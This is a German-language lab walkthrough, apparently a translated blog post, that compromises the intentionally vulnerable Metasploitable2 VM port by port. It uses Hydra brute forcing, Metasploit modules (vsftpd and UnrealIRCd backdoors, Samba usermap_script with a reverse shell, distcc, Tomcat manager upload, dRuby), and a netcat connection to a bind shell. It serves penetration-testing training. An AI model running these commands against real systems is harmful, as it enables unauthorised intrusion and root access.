- Metasploitable2 Vollständiger Überblick
- Ausnutzen aller Ports mit verschiedenen Techniken :
- 22-.SSH
- 23-TELNET
- 25-SMTP
- Methode 2
- 139&445 Netbios-SSN
- 1099-Java-RMI
- Exploiting java-RMI-server
- 1524-BINDSHELL
- Exploitation
- 2121-ProFTPD
- 3306-MYSQL
- 3632-DISTCCD
- Ausnutzung von Port 3632 mit distcc-exec
- Exploiting PostgreSQL mit postgre_payload
- 5900-VNC
- 6000-X11
- Ausnutzen des Ports 6000 mit ssh
- 6667 & 6697 UnrealIRCD
- Methode 1: Auf Port 6667
- Methode 2: Auf Port 6697
- 8180-TOMCAT
- Exploiting Apache-Tomcat
- 8787-Ruby-drb
Metasploitable2 Vollständiger Überblick
Metasploitable ist eine absichtlich verwundbare virtuelle Linux-Maschine.
Diese VM kann zur Durchführung von Sicherheitsschulungen, zum Testen von Sicherheitstools und zum Üben gängiger Penetrationstesttechniken verwendet werden.
Installation und Konfiguration
Wir sind hier, um Metasploitable 2 auszunutzen (Verdammt verwundbare Maschine für Penetrationstests)
Holen Sie sich diese Metasploiable2 Maschine von https://information.rapid7.com/download-metasploitable-2017.html
Installationsprozess:
- Öffnen Sie VirtualBox und klicken Sie auf die Schaltfläche „Neu“, um eine neue virtuelle Maschine zu erstellen
- Geben Sie den Namen der virtuellen Maschine ein (Metasploitable2)
- Zuteilen Sie die Menge an Arbeitsspeicher (vorzugsweise, aber nicht unter 512 MB)
- Wählen Sie eine vorhandene Festplattendatei aus
- Wählen Sie die vmdk-Datei aus, die Sie von Rapid7 heruntergeladen haben
- Klicken Sie auf Erstellen…!!! Erfolgreich installiert Metasploitable2, jetzt ist es Zeit, die Netzwerkeinstellungen zu konfigurieren.
Nach der Installation ändern Sie die Netzwerkadaptereinstellungen wie folgt:
In-Network Setting: Einstellungen/Netzwerk/Adapter Ethernet oder Wireless auswählen
In der Registerkarte Erweitert auswählen: Promiscuous Mode as Allow All
![](https://miro.medium.com/max/60/1*VSstOkeKhw9B2Lvlb-Z4mg.png?q=20)
Starten Sie den Metasploitable2-Rechner und versuchen Sie, sich mit den angegebenen Anmeldedaten am Banner anzumelden…!!!
![](https://miro.medium.com/max/60/1*Uw2ChbksEycBDYjo2KhtHw.png?q=20)
Ermitteln Sie die IP-Adresse des Rechners mit dem folgenden Befehl im Terminal
ifconfig
![](https://miro.medium.com/max/60/1*9cHSRAVAYygkJ-YsKQrvRQ.png?q=20)
Das ist alles für die Einrichtung….Let’s Start Hacking…
Scannen
Scannen der Matasploitable 2
Wie wir festgestellt haben, ist die IP-Adresse des Rechners 192.168.0.130
Lassen Sie uns mit Nmap scannen, das Teil von Kali Linux ist
nmap -sV -p- 192.168.0.130
![](https://miro.medium.com/max/60/1*UQ35-QNzGwWf18mx6xQKTQ.png?q=20)
Ausnutzen aller Ports mit verschiedenen Techniken :
Methode 1:
Anmeldung mit Anonymous als Benutzername und ohne Passwort.
Wenn Sie mehr Informationen über Anonymous FTP benötigen, finden Sie diese hier.
https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol
ftp 192.168.0.130
![](https://miro.medium.com/max/60/0*fYCiFwlmObAQNsDw.png?q=20)
Methode 2 :
Durch Brute-force mit Hydra, aber man braucht eine eigene Liste von Benutzernamen und Passwörtern.
hydra -L /root/Desktop/USERNAMES.txt -P /root/Desktop/PASSWORDS.txt <Target IP Address> ftp -V
![](https://miro.medium.com/max/60/0*-SYuhM3H-jKhrE6p.png?q=20)
Es nimmt jeden Benutzernamen und jedes Passwort aus den angegebenen Dateien und versucht, sich bei dem Ziel-FTP-Dienst anzumelden.
Sobald man die Zugangsdaten gefunden hat, kann man sich direkt einloggen.
![](https://miro.medium.com/max/60/0*02Y7cHT8_t22wPUk.png?q=20)
Nach dem Login in ein Benutzerkonto kann man durch Privilegienerweiterung Root-Zugriff erhalten.
Methode 3 :
Ausnutzung von FTP durch Metasploit-Framework
Öffnen Sie die Metasploit-Framework-Konsole und suchen Sie nach vsftpd Backdoor-Exploit
msfconsole
Search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
![](https://miro.medium.com/max/60/0*Knb16UXXs6g5yLIK.png?q=20)
show options
![](https://miro.medium.com/max/60/0*XHnXUfeAFAhSBqhs.png?q=20)
set RHOSTS 192.168.0.130 --> <target IP address>exploit
Glückwunsch, du hast Root-Zugang
22-.SSH
Secure Shell (SSH) ist ein kryptographisches Netzwerkprotokoll zum sicheren Betrieb von Netzwerkdiensten über ein ungesichertes Netzwerk.
Ausnutzen von SSH mit verschiedenen Techniken
Methode 1
Benutzername und Passwort mit Hydra knacken
Hydra ist ein in Kali-Linux eingebautes Tool, das verwendet wird, um einen Brute-Force-Angriff durchzuführen. Der Brute-Force-Angriff ist eine Versuch-und-Irrtum-Methode, die von Anwendungsprogrammen verwendet wird, um verschlüsselte Daten wie Passwörter oder Data Encryption Standard (DES)-Schlüssel durch erschöpfende Anstrengungen (unter Verwendung von Brute-Force) zu entschlüsseln, anstatt intellektuelle Strategien einzusetzen.
hydra -L <Usernames_List> -P <Passwords_List> <Target ip address> <Service>
![](https://miro.medium.com/max/60/1*S3TWAEoPYomB4io-hUhnaw.png?q=20)
Methode 2
Öffnen Sie das Metasploit-Framework
Öffnen Sie das Terminal und geben Sie diese Befehle ein :
service postgresql startmsfconsolesearch ssh_loginuse auxiliary/scanner/ssh/ssh_login
Setzen Sie dieses Hilfsmittel und sehen Sie, was es verlangt.
set RHOSTS <target IP Address> --> in my case 192.168.0.130
![](https://miro.medium.com/max/60/1*N6hsvFoDtSv-ppS9EXrzFg.png?q=20)
Vordefinierte Liste von Benutzernamen und Passwörtern einstellen
set USER_FILE <Username file Path>set PASS_FILE <Password file Path>exploit
Es wird zeitbasiert Ihre Liste von Benutzernamen und Passwörtern nehmen und es wird mit Benutzername: Passwort benachrichtigen und sich mit diesen Anmeldedaten anmelden.
ssh username@targetipaddress
![](https://miro.medium.com/max/60/1*07nc_mpHy8xSE-PxScUBVg.png?q=20)
Sie haben Benutzerzugriff, können aber nicht alle Aufgaben ausführen, also versuchen Sie, Root-Zugriff zu erhalten, indem Sie Privilege Escalation durchführen.
23-TELNET
Telnet ist ein einfaches, textbasiertes Netzwerkprotokoll, das für den Zugriff auf entfernte Computer über TCP/IP-Netzwerke wie das Internet verwendet wird. Telnet wurde 1969 entwickelt und eingeführt und historisch gesehen kann man sagen, dass es das erste Internet war.
telnet <target IP Address> --> 192.168.0.130
![](https://miro.medium.com/max/60/1*62BO18QJSJK_XqvMgcxiYg.png?q=20)
Standardmäßig wird es Metasploitable 2 Banner greifen, es zeigt an, dass Login mit msfadmin/msfadmin um einen Start zu bekommen. Geben Sie einfach diese Anmeldedaten ein und Sie sind drin.
25-SMTP
SMTP ist Teil der Anwendungsschicht des TCP/IP-Protokolls. SMTP verwendet ein Verfahren, das „Speichern und Weiterleiten“ genannt wird, und überträgt Ihre E-Mails in und zwischen Netzwerken. Es arbeitet eng mit dem so genannten Mail Transfer Agent (MTA) zusammen, um Ihre Kommunikation an den richtigen Computer und den richtigen Posteingang zu senden.
Methode 1:
Mit Metasploit
Starten Sie Metasploit, indem Sie die folgenden Befehle ausführen
service postgresql startmsfconsole -qsearch smtp_version
![](https://miro.medium.com/max/60/1*HDoasq8KVq_1g8P0J8FGJA.png?q=20)
use auxiliary/scanning/smtp/smtp_version (or) you can type use 0show optionsset RHOST 192.168.0.130exploit (or) runshow optionsset RHOST 192.168.0.130exploit (or) run
![](https://miro.medium.com/max/60/1*lxHNuEGVcNXrMRMvgjGtOA.png?q=20)
SMTP steht für Simple Mail Transport Protocol und ist ein Server-to-Server-Protokoll und führt eine lokale Datenbank von Benutzern, an die es E-Mails senden und empfangen muss.
SMTP hat eine Reihe von Befehlen. Wir werden uns mit „netcat“ über Port 25 mit unserem Ziel verbinden und versuchen, E-Mails aus dieser Datenbank zu erhalten.
Öffnen Sie ein neues Terminal und geben Sie ein:
nc 192.168.0.130 25
![](https://miro.medium.com/max/60/1*m2brilnax3EsuEhE_UjDVw.png?q=20)
Nachdem die Verbindung hergestellt ist, können Sie sie mit den „SMTP“-Befehlen
Type: vrfy user
vrfy (Dies ist eine nichtinteraktive Shell)
![](https://miro.medium.com/max/60/1*5E_z5En7Hbq3u7Iq6GoHZw.png?q=20)
Für SMTP-Befehle besuchen Sie: http://www.tcpipguide.com/free/t_SMTPCommands-2.htm
Methode 2
Verwendung von smtp_enum
Dies ist mit Metasploit möglich
search smtp_enum
![](https://miro.medium.com/max/60/1*iBKtnCbJNOMqw21YfgKymA.png?q=20)
use auxiliary/scanner/smtp/smtp_enum
![](https://miro.medium.com/max/60/1*mgH2hHaOqBllWZCuWOHISA.png?q=20)
show optionsset RHOST 192.168.0.130exploit
![](https://miro.medium.com/max/60/1*bOcgQgn76dolJi7h8o35xQ.png?q=20)
Diese Methode verwendet eine Aufzählung, um die Liste der Benutzer im SMTP-Dienst zu ermitteln.
Später kann NetCat hilfreich sein, um eine umgekehrte Verbindung mit diesem Benutzer zu erhalten.
139&445 Netbios-SSN
Samba ist ein Open-Source-Projekt, das auf Linux- und Unix-Computern weit verbreitet ist, so dass sie mit Windows-Datei- und Druckdiensten arbeiten können.
Wir können Samba sogar als Active Server verwenden, um Anmeldung, Authentifizierung und Zugriffskontrolle für ein Windows-Netzwerk zu handhaben.
Suche nach Exploit
![](https://miro.medium.com/max/60/1*z33N25rYFsp7VaFduYiDEQ.png?q=20)
use exploit/multi/samba/usermap_script
![](https://miro.medium.com/max/60/1*pdC5TVBoy2z7vFEnTiCZig.png?q=20)
Die Optionen für den Exploit anzeigen
![](https://miro.medium.com/max/60/1*VYJx1_bhMoAUM1EiED6CEA.png?q=20)
show optionsSet RHOST192.168.0.130 (Target IP address)
Setzen der Nutzlast
Show payloadsSet payload cmd/unix/reverse
![](https://miro.medium.com/max/60/1*EiITsOW6KFNJYXYAxKgSwQ.png?q=20)
Setzen der erforderlichen Argumente für die Nutzlast
Show optionsSet LHOST 192.168.0.109 (Attackers IP Address)Set LPORT 4444
![](https://miro.medium.com/max/60/1*R3rrN2d6ziqVPteCmU4LOg.png?q=20)
Prüfen, ob alle erforderlichen Argumente vorhanden sind
exploit
1099-Java-RMI
Remote Method Invocation (RMI) ist eine API, die es einem Objekt erlaubt, eine Methode auf einem Objekt aufzurufen, das in einem anderen Adressraum existiert, der sich auf demselben Rechner oder einem entfernten Rechner befinden kann.
Exploiting java-RMI-server
Suchen Sie nach dem Exploit
search java_rmi_server
![](https://miro.medium.com/max/60/1*_zYb54pt1YOzPuIBSYpcAQ.png?q=20)
Wählen Sie den Exploit nach seinem Rang aus. z.B. „excellent“ funktioniert besser als „normal“.
use exploit/multi/misc/java_rmi_servershow optionsset RHOSTS <target's IP>exploit
![](https://miro.medium.com/max/60/1*EVCZgjE0nZeFiy5vXkG3Lw.png?q=20)
Wir haben uns Zugang zum Zielrechner verschafft.
1524-BINDSHELL
Bind Shell ist eine Art von Shell, bei der der Zielrechner einen Kommunikationsport oder einen Listener auf dem Opferrechner öffnet und auf eine eingehende Verbindung wartet. Der Angreifer verbindet sich dann mit dem Listener des Opferrechners, was zur Ausführung von Code oder Befehlen auf dem Server führt.
Exploitation
Es handelt sich um eine Root-Shell, so dass wir uns über den netcat-Dienst verbinden können.
nc <target ip address> 1524
![](https://miro.medium.com/max/60/1*mhVj6lzA9_RrM6dtGccH2Q.png?q=20)
Glückwunsch, Sie sind jetzt ein root-Benutzer.
2121-ProFTPD
Bevor Sie diesen Port ausnutzen, müssen Sie Anmeldedaten haben, so wie wir die Methode kennen, um sie durch Brute-Force-Technik zu bekommen, Wir können mit telnet auf ProFTPd zugreifen, Wir verwenden hier user: user.
telnet <Taget IP Address> <Port Number>USER <username>
PASS <password>
![](https://miro.medium.com/max/60/1*fp_RFtMdvKT7PlqL9kjLoQ.png?q=20)
Es ist ein normaler Benutzer, Versuchen Sie Privilege Escalation um Root Kontrolle zu erlangen.
3306-MYSQL
Methode 1:
Suchen Sie nach dem Exploit
search scanner/mysql/mysql_login
![](https://miro.medium.com/max/60/1*UdL95GXKiNQbC78C4ZH_8g.png?q=20)
use auxiliary/scanner/mysql/mysql_login
![](https://miro.medium.com/max/60/1*0SZZZg4S-vxfy-2o-NXP4Q.png?q=20)
Manchmal besteht die Möglichkeit, dass ein leeres Passwort für MySQL vorliegt. So können wir es direkt ausnutzen.
Hinweis: Standardmäßig zeigt es BLANK_PASSWORDS als false an, setzen Sie es auf true.
set BLANK_PASSWORDS as true
![](https://miro.medium.com/max/60/1*j999i0gv0-iXQ8i79hCppA.png?q=20)
Methode:2
In dieser Methode werden wir MySQL mit diesem Befehl ausnutzen, indem wir den Benutzernamen als root und die IP des Ziels angeben.
mysql -u root -h <target's IP>
![](https://miro.medium.com/max/60/1*lwuzVdFnfn94z4f-GkZc_Q.png?q=20)
3632-DISTCCD
Distcc ist ein Tool zur Beschleunigung der Kompilierung von Quellcode durch verteiltes Rechnen über ein Computernetzwerk. Mit der richtigen Konfiguration
kann distcc die Kompilierungszeit eines Projekts drastisch reduzieren
Ausnutzung von Port 3632 mit distcc-exec
Öffnen Sie msfconsole und suchen Sie nach distcc_exec
search distcc_execshow options
Setzen Sie die erforderlichen Argumente für den Exploit
set RHOSTS <target-ip>exploit
![](https://miro.medium.com/max/60/1*9uxKEQNVlM0cvtSq6_Ugjg.png?q=20)
Wir haben Shell-Zugang…versuche Privilegienerweiterung für höhere Privilegien
Exploiting PostgreSQL mit postgre_payload
Öffne msfconsole & suche nach postgres_payload
search postgres_payloaduse exploit/linux/postgres/postgres_payloadshow options
![](https://miro.medium.com/max/60/1*WTWI_MkkyFLzrzqCAiglJQ.png?q=20)
Erforderliche Argumente für Exploit setzen
set RHOSTS <target-ip>
Standardmäßig, wird der Benutzername postgres
exploit
![](https://miro.medium.com/max/60/1*pP1YsyK46c-V8GDtClEntg.png?q=20)
Erfolgreich bei postgresql angemeldet…Holen wir uns eine Shell, um mehr zu tun…
![](https://miro.medium.com/max/60/1*QkqXDY8mEFkfq0H18aakIQ.png?q=20)
Versuchen Sie, eine Privilegieneskalation durchzuführen…Frohes Lernen..!!!
5900-VNC
Öffne msfconsole und suche nach Exploit vnc_login
search vnc_loginuse auxiliary/scanner/vnc/vnc_login
![](https://miro.medium.com/max/60/1*SXZExxNFP7_6bpcnxcdJdQ.png?q=20)
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
![](https://miro.medium.com/max/60/1*YOXG156_QkV20aGSntxQHA.png?q=20)
Diese Methode wird verwendet, um VNC-Software, die auf Linux- oder Unix- oder Windows-Betriebssystemen gehostet wird, mit einer Authentifizierungsschwachstelle auszunutzen.
Versuchen Sie, vnc mit diesem Passwort zu verbinden
Öffnen Sie den Vnc-Viewer im Terminal &Geben Sie die IP-Adresse ein und stellen Sie eine Verbindung her
Eine Anmeldeaufforderung erscheint und fordert zur Eingabe der Anmeldedaten auf
![](https://miro.medium.com/max/60/1*VydR0rGz8uG4zqwFL4XWiQ.png?q=20)
Dann das Passwort eingeben und auf OK klicken.
![](https://miro.medium.com/max/60/1*ffJoRORhAF-HJYXs5qq77A.png?q=20)
Voilaaa…!!! du hast Access…Ich weiß, was du jetzt denkst..Bring die Sachen nicht durcheinander.
6000-X11
Das X Window System (auch X genannt) ist ein Fenstersystem für Bitmap-Displays, das auf UNIX-basierten Betriebssystemen üblich ist. X bietet das Grundgerüst für eine GUI-basierte Umgebung.
Der X11-Remote-Server akzeptiert Verbindungen von jedem Ort aus, an dem eine Internetverbindung möglich ist. Er ist für den Zugriff auf die Grafikkarten, die Eingabegeräte und den Bildschirm auf dem Computer oder dem drahtlosen Gerät zuständig.
Ausnutzen des Ports 6000 mit ssh
ssh -X -l msfadmin 192.168.0.122
Im obigen Befehl aktiviert ‚X‘ alle Ports zur Weiterleitung, durch Angabe des Benutzernamens und der IP des Ziels erhalten wir die Shell
![](https://miro.medium.com/max/60/1*Vyb02axWjpWfYDoUiPs3gg.png?q=20)
6667 & 6697 UnrealIRCD
UnrealIRCd ist ein Open Source IRC Server, der seit 1999 tausende von Netzwerken bedient. Er läuft auf Linux, OS X und Windows
UnrealIRCd ist ein hochentwickelter IRCd mit einem starken Fokus auf Modularität, einer fortschrittlichen und hoch konfigurierbaren Konfigurationsdatei. Zu den Hauptmerkmalen gehört SSL
UnrealIRCd ist einer der populärsten IRC-Daemons mit vollem Funktionsumfang und wird auf den meisten IRC-Servern eingesetzt
Dieser Server wird als der mit den meisten Sicherheitsmerkmalen aller IRC-Server beschrieben.
Verwendete Protokolle: Internet Relay Chat
Let’s Exploit this IRC Server.
Methode 1: Auf Port 6667
search unrealircduse exploit/unix/irc/unreal_ircd_3281_backdoorshow options
![](https://miro.medium.com/max/60/1*us0a-BAw-YlV7T8IvEJWXg.png?q=20)
Setzen Sie die erforderlichen Argumente für Exploit
set RHOSTS <target-ip>
Standardmäßig ist die Portnummer 6667 für Exploit
run (or) exploit
![](https://miro.medium.com/max/60/1*aDlVpN4xMSXtotMCryZdag.png?q=20)
Heyyy…Wir haben Root…Wir leben am Rande…
Methode 2: Auf Port 6697
Verwenden Sie den obigen Exploit und setzen Sie die erforderlichen Argumente
- Dieses Mal setzen Sie den Port auf 6697
set RHOSTS <target-ip>set RPORT 6697
![](https://miro.medium.com/max/60/1*vFQdQLxZWrTIiTaL0kzr2Q.png?q=20)
Und das zweite Mal haben wir auch Root…Versuchen Sie, dies auszunutzen…Viel Spaß beim Lernen
8180-TOMCAT
Apache Tomcat ist eine Open-Source-Implementierung der Technologien Java Servlet, JavaServer Pages, Java Expression Language und WebSocket. Tomcat bietet eine „reine Java“-HTTP-Webserverumgebung, in der Java-Code ausgeführt werden kann.
Exploiting Apache-Tomcat
Es kann in zwei Schritten durchgeführt werden:
Öffnen Sie msfconsole &Suchen Sie nach tomcat_mgr_login
search tomcat_mgr_loginset RHOSTS <target-ip>
![](https://miro.medium.com/max/60/1*PSqEiChjjER4H-1zmpoQRQ.png?q=20)
show options
Exploit wird Standardbenutzernamen &Passwörterlisten zuweisen. Nach dem Setzen der Argumente für den Exploit Typ exploit (oder) run
run
![](https://miro.medium.com/max/60/1*iRu-GSEQR13fp8Xc7m3Gjg.png?q=20)
Nimm den gleichen Benutzernamen und das gleiche Passwort und gib es an den nächsten Exploit.
Suche nach Tomcat-Manager-Exploits
search tomcat_mgr_uploaduse exploit/multi/http/tomcat_mgr_uploadshow options
![](https://miro.medium.com/max/60/1*uctam49NCu2QHi1eRqmwew.png?q=20)
Setze RHOSTS, RPORT, und HttpPassword, HttpUsername, die wir vom Tomcat-Login-Exploit bekommen haben und führe dann den Exploit aus.
![](https://miro.medium.com/max/60/1*nKE1ZXBkRopWtUGqTbz69w.png?q=20)
msfconsole könnte die passende Payload für einen Exploit zuweisen, dafür haben wir meterpreter…
8787-Ruby-drb
dRuby ist ein verteiltes Objektsystem für Ruby. Es ist in reinem Ruby geschrieben und verwendet dessen Protokoll.
Es werden keine zusätzlichen Dienste benötigt, die nicht von der Ruby-Laufzeit bereitgestellt werden, wie z.B. TCP-Sockets.
search drb_remote_codeexec
Setzen Sie die erforderlichen Argumente für den Exploit
![](https://miro.medium.com/max/60/1*06NFXBcoWO071iSe79cBCw.png?q=20)
show optionsset RHOSTS <target-ip>exploit (or) run
Glückwunsch, Sie haben Root-Shell-Zugriff bekommen…versuchen Sie, einige Shell-Befehle zu verwenden.